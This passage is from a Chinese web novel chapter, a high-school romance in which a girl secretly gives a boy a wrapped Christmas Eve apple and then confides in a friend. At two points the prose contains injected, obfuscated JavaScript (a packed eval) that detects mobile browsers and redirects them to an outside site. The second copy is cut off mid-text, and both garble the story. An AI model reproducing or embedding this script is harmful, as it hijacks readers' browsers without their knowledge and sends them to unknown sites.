道了谢,陈以昭轻车熟路的走到靠窗的最后一排,路过方知韫的位置时停了会儿。 方知韫的桌子上放了很多书,却一点也不显得杂乱,整整齐齐的堆放在一块儿,连抽屉里都收拾的井井有条,和他这个人的性格一样。 陈以昭第一次靠这么近,不由多看了两眼,担心被人看出来异常,又快步越过走到前面的座位。 期中考结束后,各班都重新排了位置,杨羡的位置在方知韫前面,抽屉里零零散散放了不少在东西,陈以昭假意翻找,实际上余光却偷偷打量着前排的男生,生怕他有点什么风吹草动。 可那男生不知是戒备心太弱,还是太过放心陈以昭,除了进来后问了两句,再也没关注过陈以昭。 一边注意动静,一边小心翼翼拉开书包拉链,太过安静的教室让声音被无限放大,陈以昭的心悬在嗓子眼,紧张到舔了舔嘴唇,好不容易打开拉链,玻璃纸清脆的声音格外明显。 男生没忍住转头过来,陈以昭反应极快,急忙弯下腰挡住书包,装模作样的翻找起杨羡抽屉,嘴里还不忘念叨,“奇怪?到底在哪儿呢,怎么没看见。” 听到她这么说,男生只当刚刚的声音是碰到什么塑料袋发出来的,没有怀疑收回视线继续背书。 陈以昭松了口气,因为精神高度紧绷,明明寒冬腊月的天气,愣是给她热出一身汗,盯着书包里的东西,暗暗想: 算了,与其磨磨蹭蹭的,不如拼一把。 这样想着,她飞快从的从包里拿出东西,又快速的放在方知韫椅子上,整个过程,动作流畅,行云流水,只用了十秒钟,快的甚至出现残影。 玻璃纸清脆的声音再次响起,还没等男生扭过头,下一秒,陈以昭的声音响起,“啊,终于找到了。” 男生看过去,只见陈以昭把东西放在书包里拉上拉链,朝着自己走过来,脸上带着客气的笑,“谢谢同学,我找到了,那我就不打扰你了拜拜先走了。” 一出教室门,陈以昭终于忍不住小跑起来,越过黑夜中的一盏盏路灯,发丝飞扬,身影急促,像是不收拘束,自由的,奔向不知名的目的地。 寒风迎面吹在她脸上,脸色被冻的白皙,只余下鼻头和眼尾的一抹淡红。 胸腔因为吸入不少冷空气而有些刺痛,陈以昭停下脚步,弯着腰,双手扶着膝盖,大口大口喘着气,呼出的白气在黑夜里很明显,急促的心跳险些让她喘不上气,只能仰着头看着昏暗的天空。 她其实不确定方知韫会不会看到,又会不会喜欢,也不确定别人会不会发现是自己放的,只是觉得应该这么做,也必须这么做。 也许,结果和自己设想的完全不同,可人生哪有那么多心想事成,她想做的,不过是不让自己的青春留下任何一个遗憾而已。 陈以昭深吸了口气,平息呼吸,大步往前,不再为以发生的事而纠结后悔。 黔州的冬天是不怎么下雪的,半夜的时候,天空下了点小雪,像一颗颗细碎的盐粒,刚落在地上就融化了,等天一亮,只留下湿漉漉的痕迹。 因为是平安夜的缘故,学生肉眼可见的兴奋诗词,从宿舍楼出来的,每个人怀里都抱着一堆包装的五颜六色的平安果,让枯燥的清晨多了几分色彩。 随处可见互相交换苹果的学生,有的甚至还给老师准备了,每个人脸上带着笑意,沉浸在这种热闹之中。 这种活动是学生群体中的人际交往,送给谁?能不能收到苹果?收到几个苹果?那都是关乎到后面社交关系的。 人缘好人气高的,收到的苹果桌子上已经不够放,甚至还得拿袋子来装,惹得其他人都是一脸羡慕,比如说人缘好的陈以昭,又比如长得好看的乔安澜,她们虽然一个苹果没有包,却收到了不少。 兴许是因为女孩子天生就会爱人的缘故,热衷于这种活动的大部分都是女生,因此,人气高的男生收到的只多不少,在方知韫在楼梯口,看着第十个拦住自己送苹果的女生后,只觉得脑袋跳痛,揉了揉眉心,语气无奈的说:“对不起,我不能收。” “为什么?”对面的女生委屈巴巴的问,“我包了一晚上,你为什么不要?” 方知韫想了想,只能找出一个最合适的借口,“我不爱吃苹果,你给其他人吧。” 说完,绕过人就离开。 他从初中起就不太喜欢这种活动,太吵太闹且没有意义,收到的苹果吃不完会浪费,包装的玻璃纸用了一次也没地方放,除了麻烦就是麻烦,虽然没有扫兴却也不会接受。 其实方知韫并没有觉得自己和别人相比有什么特别,只不过是因为那些女孩子的天真,给他增加一层滤镜罢了,正因为明白自己的不完美,他总是不好意思说太过伤人的话,那会显得不识好歹。 更何况,他也确实不太喜欢吃苹果,总觉得这种没有水分的水果算不上水果。 原本以为拒绝了就无事发生,谁知道刚到教室,就看到自己桌上放的满满当当的苹果,夸张到堆成了小山,一眼望去,五颜六色十分好看。 教室里已经来了不少人,纷纷看着他,目光里带着看热闹的心思, 方知韫走到座位旁垂眸看了一眼,很好,连个放书包的位置都没有,环顾四周,有些无奈的问:“谁送的?” 没有人回答。 倒是前排的卫子尧转过身来,笑着打趣,“我一来就看到这满桌子的平安果,好家伙,得有十几二十个吧,老方,你这人气没话说了。” 抬头看了眼黑板上方的时钟,眼看只有十五分钟就要上早自习了,方知韫眉头一皱,脸上满是为难,低头扫视着这堆麻烦无比的平安夜礼物。 包苹果的女孩子很用心,层层叠叠的玻璃纸十分好看,有的还用的蝴蝶结,用的还缠了丝带,用的甚至还加了纸折的花,当真是各有千秋。 其中最吸引他目光的是放在椅子上的那个苹果,用蓝色的玻璃纸包裹起来,从浅到深,从里到外,想朵绽放的蓝色莲花,最中间还有黏土捏了个可爱的小羊。 这个苹果约莫有五十多层,玻璃纸层层叠叠像朵花瓣似的绽开,足足占满了整个椅子,方知韫把它抱了起来,立刻吸引其他人的目光。 “我去,”卫子尧第一个发出震惊,“谁送的啊?这得花不少心思吧。” “不愧是方知韫,要是有女孩子抱着这个给我告白,我二话不说就答应了。”右边的男人语气中满是羡慕。 “就你?洗洗睡吧,梦里啥都有”其他人笑着打趣。 “不是,到底谁送的啊,有没有署名?快看看。” “和你们有关系吗?人方知韫都不着急。”一个扎着丸子头的女生气鼓鼓说。 “孙筱婷,你这么激动,不会是你送的吧?” “是啊?你不会暗恋人方知韫吧?” “金阳,你胡说八道什么呢!” 人群爆发骚动,你一言我一语的吵闹起来。 前排的杨羡听见动静也扭头看过来,瞧见那苹果也感到好奇,可她和方知韫的关系算不上多好,本身也不是那种多管闲事的性格,看了眼便准备收回视线。 就在转身时,她余光又瞥了一眼,突然从那一层层渐变的玻璃纸上看出了不对劲,回忆了一番,皱着眉低语,“奇怪,怎么和昭昭买的那么像?” “羡姐,你说什么?”一旁的卫子尧没听清,探头过来问。 杨羡的目光还落在方知韫怀里的玻璃纸上,左思右想,回想自己陪陈以昭在文具店买东西时,她抱着一堆同款玻璃纸说的什么来着?好像是:别人让我帮忙买的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158960|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当时不觉得有什么问题,这会儿想起来,陈以昭每一张都是精挑细选,不像是随便帮忙,眼神没有对视,摆明了心虚,更何况…… 又瞥了一眼那眼熟的玻璃纸,杨羡心中暗想:更何况,哪有这么巧的事。 虽有所怀疑,可没有证据的事,她也不好多说,只是收回视线坐了回去,语气平淡说:“你听错了。” 卫子尧挠了挠头,继续看着方知韫八卦,“话说,这么多苹果你打算怎么办?一会儿早自□□可要来的。” 方知韫将手里那个苹果放在桌上的小山堆上,这才空出来位置放书包,他皱着眉思考了会儿,转身去一旁的的清洁区抽了个黑色塑料袋,二话不说就算往里塞。 见状,卫子尧伸手随便抓了一个,可指尖刚摸到玻璃纸,就被方知韫一章拍中,连忙收回手,委屈巴巴问:“你干嘛?” “你干嘛?” “反正你都不要了,丢了也是浪费,正好我没吃早餐,给我一个怎么了?” “谁给你说我要丢了?” “不是?”卫子尧来了精神,“难不成你准备全收了?” 这些苹果代表什么大家心知肚明,方知韫没说话继续将桌上的苹果往黑色垃圾袋里塞,满满当当塞了一口袋,目光落在那个蓝色渐变的苹果上,毫不犹豫的丢进去,接着将袋子放在一旁,整个动作一气呵成,更让人摸不着头脑。 他的同桌是个戴眼镜的男生,见状推了推眼镜,疑惑的问:“你这是干啥呢?” 方知韫一边掏出语文书一边回答,“这些苹果我不会收的,可总归是别人的心意,丢了或者送人了都不合适,一直放在桌上也不行,马上要上早自习了,我先收拾干净,一会儿再想办法处理吧。” 同桌还想说什么时,早自习的上课铃声响了,只能收回视线看向黑板。 都是一个年级上下楼层的关系,稍微有点风吹草动都能传开,于是只用了半个早上的功夫,方知韫收到一堆苹果的消息就传的人尽皆知。 大课间做完操休息,陈以昭挽着温梨慢悠悠回教室,穿过走廊就听见隔壁班门口有人在讨论这事,声音清晰的传入她耳中: “你送出去的苹果怎么样了?” “别提了,”被问话的女生叹了口气,“刚从1班回来,方知韫一个也没收,全放一块儿呢,说是不爱吃苹果,让送了苹果的都拿回去,要是没人认领他就想办法处理了,反正是不会留下的。” “啊,”第一个说话的女生语气震惊,“一个也没收啊?” “对啊,”女生无奈说:“这谁会拿回来啊,多丢脸,我反正是不要了,他爱怎么处理怎么处理吧。” 下一秒,两人又聊了起了其他。 陈以昭若有所思,不知道在想什么,温梨叫了她几声都没反应过来。 “昭昭?” “啊?怎么了?” “怎么不走了?”温梨看着陈以昭问。 “刚走神了,外面太冷了,快回教室吧。”陈以昭恢复自然,笑嘻嘻挽着温梨快步走过。 平安夜除了互送苹果的热闹以外,和其他时候相比并没有太多不同,依旧学着枯燥的知识,上着催眠的课,只有桌上各式各样的玻璃纸才有点节日氛围。 一中是寄宿制,也意味着许多活动不能进行,但所有人依旧乐在其中,唯独方知韫看着那一袋子苹果陷入为难。 一天过去了,并没有多少人认领,他又不能一直放着,挡路不说时间久了苹果还会坏,太过浪费,思来想去打算送给学校里的食堂阿姨和保安。 之所以不给卫子尧他们,是担心都是同学,被看见了不太合适,再说,他们也收了不少,压根吃不了,给学校工作人员还不浪费。 这么想着,放学时方知韫拉上卫子尧将就开始发苹果,守门的保安有,打菜的阿姨有,宿舍楼下的大婶也有,走了一圈,黑色垃圾袋瘪了下去,袋子里的苹果越来越少,到最后只剩下那个渐变蓝色玻璃纸包装的平安果。 卫子尧弯腰从袋子里掏出来拿在手上转了转,看着方知韫询问,“就剩这一个了,要不你自个儿留着?沾沾节日氛围。” 方知韫没说话,视线落在那个苹果上,哪怕没有亲眼所见,他也能通过这个精心包装的苹果,发现掩藏在小心翼翼下的真心,真诚永远可贵,热烈而又坚定。 可是,人生匆匆,总有许多擦肩而过的人,他于她,也许只是过路人。 接过那个苹果,方知韫摇了摇头回,“不留了。” 他环顾四周,看着不远处有一个阿姨,快步走了过去,笑着说了几句,将那个苹果递了过去,然后朝卫子尧招了招手,将黑色垃圾袋裹成一团,往校服兜里一揣,并肩朝着食堂走去。 白占便宜的阿姨看着怀里的苹果,笑的眼睛嘴角合不拢,心情大好的往女生宿舍楼走去,刚到门口同事瞧见,惊讶问:“芳姐抱的这是啥子嘛,好大一束花。” “什么花,这是苹果,”宿管阿姨笑了笑,“今天好像是什么平安节,我看好多人都在送苹果,刚在路上有个学生也送了我一个。” “妈耶,这包的真好看,像花一样。” “等我把它拆了咱们分着吃。” 说着,两个阿姨埋头研究起来,扯开系好的蝴蝶结,一层一层将玻璃纸剥开,剥到最后一层时,掉出来一张蓝色的卡片。 “这是囊样?” 芳姐不认识字,看了会儿丢在一边说:“不知道,一哈丢了吧。” 两人将那个精挑细选的苹果掏出来,洗干净,一分为二,将桌面收拾干净,看着那堆蓝色的玻璃纸,选了几张看起来不太皱的用来垫桌子,其他的则是和那张卡片一起丢进垃圾桶。 于是,再无人知晓,那张带着少女情意的卡片上究竟写了什么。 24. 第二十四章 平安夜就这么过去,第二天就是圣诞节,方知韫没有收下任何一个苹果的消息传遍了高一,无数人都感叹逝去的爱情,陈以昭只是安静听着别人的讨论,仿佛和自己无关。 从打算送出那个苹果时,她就做好了最坏的打算,所以当知道方知韫没有收下,并没有感觉到诧异,心中却也没有后悔,重来一次还是会这么做。 更担心的是,不清楚方知韫有没有看到那张卡片,她有些慌张,可想到自己没有署名又松了口气。 她敢想刚做,大大方方,为自己的心动而努力,这并没有什么可惜的,与其自怨自艾于为什么得不到回应,不如竭尽全力让他看见自己。 月亮不会在意不起眼的星星,既然如此,那就做明媚耀眼,能与月光媲美的太阳。 调节好心情,她哼着小曲从厕所出来准备回教室,突然间,一个怪力突然拽住她的手腕,趁其不备,将她拉到楼梯口去。 陈以昭一头雾水,被按着肩膀坐在楼梯上,自下而上看着面前的人,眼中布满疑惑,眨了眨眼,摸不着头脑问:“不是,你干嘛呢?” 杨羡抬手看了眼手表,接着双手环抱,镜片反射出白光,显得整个人严肃冷漠,说出的话更是没头没尾,“还有十分钟要上课了,咱们抓紧时间,速战速决。” “啊?”陈以昭皱着眉。 “第一个问题,那天的玻璃纸真的是帮别人买的?” 认识这么多年,作为朋友,双方的默契和了解自然不容小觑,以至于杨羡的话一出,陈以昭就明白她今天是冲自己来的。 表情肉眼可见的慌乱起来,眼神躲闪,又心虚的直视杨羡眼睛,故意提高了声音,“不然嘞!” 杨羡推了推鼻梁上的眼镜,冷笑了一声,“陈以昭,你每次心虚的时候声音都会特别大。” “我哪有!”陈以昭仰着头,试图证明自己,“我为什么要心虚!” “对啊,你为什么要心虚,这不应该问你吗?” 陈以昭不说话了,她知道杨羡最近在追《名侦探柯南》,老喜欢动不动研究别人的微表情,所以自诩自己坦荡,但也担心被她瞧出来点东西,索性不说话了。 “你以为不说话就行了?”杨羡一抬下巴,开始逼问,“你在无中生友,你那堆玻璃纸是不是给自己买的,你是不是买来包苹果?是不是为了送人?” 任凭杨羡追问,陈以昭还是将沉默贯彻到底,只是瞪着眼用作自己无声的抗议。 杨羡不想耽误时间,索性直接开大,“苹果是不是送给方知韫的?你是不是喜欢方知韫……” 说到后面,杨羡声音不由提高了一点,陈以昭心下一慌,也顾不上其他,猛地从楼梯台阶上跳起来,扑过去用手捂住杨羡的嘴。 她神色慌张,一边探头观察楼下走廊有没有人,一边将食指放在嘴边,做了个噤声的动作,咬牙切齿说:“不是,你要死啊,你就不能小点声,万一被人听见了怎么办?” 嘴上的手捂的很用力,口鼻呼吸都感觉有些困难,杨羡抬手拍了拍示意陈以昭松手,后者后知后觉反应过来,松开手还不忘用杨羡校服擦了擦手,又坐了回去。 平复好呼吸,杨羡一屁股坐在陈以昭旁边,皱着眉思考了会儿,才发出疑问,“所以,你真喜欢方知韫啊?” 其实通过陈以昭刚刚的反应,有些问题不需要答案就已经心知肚明了,可她还是多此一举的问出来。 陈以昭侧头看了眼杨羡,恰好和她对上视线,然后又收回目光,看着角落里不知道是谁偷偷抽烟留下的烟头,过了大概几十秒,才点了点头,“嗯。” 杨羡眉头一皱,有些无语问:“什么时候的事?” “军训开始吧?” “军训开始?”杨羡有些气笑了,“一个学期快结束了,你居然瞒了我们这么久,陈以昭,我怎么看不出来你还有当演员的天赋啊。” “我那不是不知道怎么说嘛,”陈以昭自知理亏,好声好气赔着笑,低着头,语气很轻的说:“我怕你们笑我,怕你们起哄,怕你们帮我,怕这个秘密不再是秘密,怕,自己会变成你们不认识的样子。” 杨羡扭头看着身边的人,只看看见她被发丝遮住的侧脸,转过身,握住陈以昭的肩膀,将她转向自己,神情严肃,声音坚定,“陈以昭,你还记得我们第一次见面吗。” 陈以昭想也不用想脱口而出,“小学五年级,你转学过来,坐在我后面。” “今年是六年,”杨羡笑了笑,“当时班上那么多人,我刚好坐在了你身后,又刚好和你成为了朋友,这并不是偶然,而是我们注定就要做朋友。” 杨羡停顿了会儿,又继续说:“我们做了六年的朋友,还会有下一个六年,下下个六年,人生的每一个阶段我都会认识新的人,可在我这里,你比任何人都要重要,我们是好朋友,是彼此选择的没有血缘关系的家人,是除了亲人外最有资格让你分享开心和难过的人,你可以什么都不说,但难过的时候,要记得联系我,因为朋友之间从来不是你和我,而是我们。” 听完,陈以昭眼睛红红的,一把抱住杨羡,声音哽咽着说:“不亏是能写出满分作文的人,文采真好。” “喂,”杨羡抱着人哭笑不得,“你这儿正煽情呢,能不能不要破坏气氛。” 陈以昭吸了吸鼻子,委屈巴巴说:“我不是故意不告诉你们,因为我知道你们要是知道了,你们会帮我出谋划策,制造机会,可我想要的是方知韫纯粹的喜欢,仅仅是因为,他了解了我,看见了我,所以自然而然的喜欢我。” 杨羡知道陈以昭在某些事上有些固执,听不进去别人的话,有自己的一套逻辑,她不能试图去改变或者说服,只是思考者问,“可是,你和方知韫都没有太多交际,怎么样才能让他喜欢上你呢?总不能靠他某天突然灵光一闪吧?” “我这不在努力吗,”陈以昭坐直,看着杨羡解释,“第一步,先了解他的喜恶,知己知彼,百战百胜;第二步,冲进实验班,近水楼台先得月;至于第三步,我还没想好。” 听着陈以昭的作战计划,杨羡有种心力憔悴的感觉,抬手拍了拍人肩膀,鼓励了句,“挺好的,你加油吧,需要帮忙尽管说,无论发生什么,我都站在你这一边。” “对了,”陈以昭猛地想起来什么,补充说:“这个事,你先别告诉乔安澜。” 回想了一下乔安澜那个包不住话的大嘴巴,杨羡了然点点头,又问,“那温梨呢?也不告诉她?” 陈以昭停顿了会儿思考,还是摇了摇头,“等有机会,我会自己给她说。” “好。”杨羡看了眼手表,正好上课铃声响起,她和陈以昭挥手告别,就回了教室,不知道是不是应该刚刚那番谈话的缘故,坐在座位上,她总是时不时的扭头看向身后的方知,目光带着探究和打量,还带了点说不清道不明的疑惑。 在第三次扭头看过来时,方知韫终于趁老师转身在黑板上写公示的间隙出声了,“杨羡。” “啊?”突然被喊名字,杨羡忙收回目光,压低声音回。 “我脸上是有什么吗?”方知韫放下笔问。 “为什么这么问?” “上课十分钟,你看了我四次。” 同桌的刘劲松也探头插话,“我作证,你怎么回事,老转过来看老方?” 前排的卫子尧听见动静,瞥了一眼讲台上还在板书的数学老师,也凑过来压低声音八卦,“不是吧羡姐,你不会今天才意识到方知韫的魅力吧?” 杨羡朝他翻了个白眼,看着方知韫解释,“我是观察你学习有没有什么诀窍,不然怎么物理比我厉害这么多。” 这个理由在方知韫意料之外,他有些好笑的问,“那看出什么问题了吗?” “暂时没有。” 卫子尧这种靠运气和超常发挥的普通人,理解不了学霸的对话,转着笔接话,“不是,这什么逻辑,再说你要观察也不应该观察他啊,这次期中考物理第一不是陈以昭吗,对了,我记得你和陈以昭关系不是很好吗?让她传授你点方法啊。” 说者无心,听者有意,杨羡瞥了眼方知韫反应,后者则是若有所思,试探着问:“你和陈以昭关系很好?” “嗯,”怕不足以证明,杨羡又加了句,“非常好。” 方知韫回想了一下席元托他打听陈以昭的请求,虽然并不是很想帮忙,可好歹认识这么久,也实在受不了席元的死缠烂打,犹豫了会儿开口问,“我记得你是16中毕业的,陈以昭也是吗?她初中成绩也很好吗?那为什么没有进实验班?” 这下换成杨羡疑惑,按理来说,方知韫应该和陈以昭不熟才对,哪有怎么可能打听陈以昭的事,说不通啊。 她还没发出疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他走的依旧是那条小路,没什么人,安静又省时,远远就瞧见亭子里的人影,只当是还没回宿舍的学生,并没有多想。 可下一秒,亭子中的人似乎听见脚步声转身,温梨的脸就这么出现在方知韫视线之中,她的眼睛骤然一亮,抱着坏里的东西小跑过来,未出声笑浅浅笑了起来,“方同学。” “温梨?”方知韫眼中闪过疑惑,不解问,“我在这里做什么?” 温梨眨着圆圆的眼笑了笑,声音很轻,语速很慢,温和的像一团柔软的棉花,“我家水果摊进了很好吃的苹果,我想着带给你尝尝。” 说着,她松开手将抱在怀里的塑料装展露在方知韫视线之中,塑料袋里装着七八个红彤彤大苹果,没有玻璃纸包装的那么精致好看,充满着纯朴普通,但一看就是精挑细选的,不难看出送礼人的用心。 方知韫张了张嘴,正准备拒绝,温梨又连忙补充,“我没有其他意思,是我妈妈知道你帮过我,一袋梨子不足够感谢,所以让我带给你尝尝的,是不是让你困扰了?” 她问的小心翼翼,眼睛有些红,拎着袋子的手收紧,像是真的担心自己给别人带来困扰,方知韫将到了嘴边的话憋回去,换了个说辞,“你在这里等了多久?” “啊?”温梨视线飘忽不定的回,“没多久。” 骗人。 方知韫看着眼前这人被冻的红彤彤的鼻子和脸颊,在心里拆穿。 他从小接受的教育都是客气,礼貌,尊重,实在没法对着女生说出什么拒过分的话,况且这袋苹果太过普通,普通到让他无法和昨天那些联系到一起,犹豫了会儿说:“多少钱。” “不……” “如果你不收钱我就不要了。” 温梨咬着唇委屈的看着人,最终还是点了点头。 方知韫给了三十块钱,然后接过苹果同人挥手再见。 圣诞节快要过去的最后几分钟,陈以昭无聊的刷着Q.Q空间,看见了方知韫的动态,一个红彤彤的苹果,配文: 大家圣诞快乐! 评论区都是各种各样的回复,陈以昭藏在人群中,小心翼翼的回复:圣诞快乐。 没有提及的主语,是方知韫,圣诞快乐。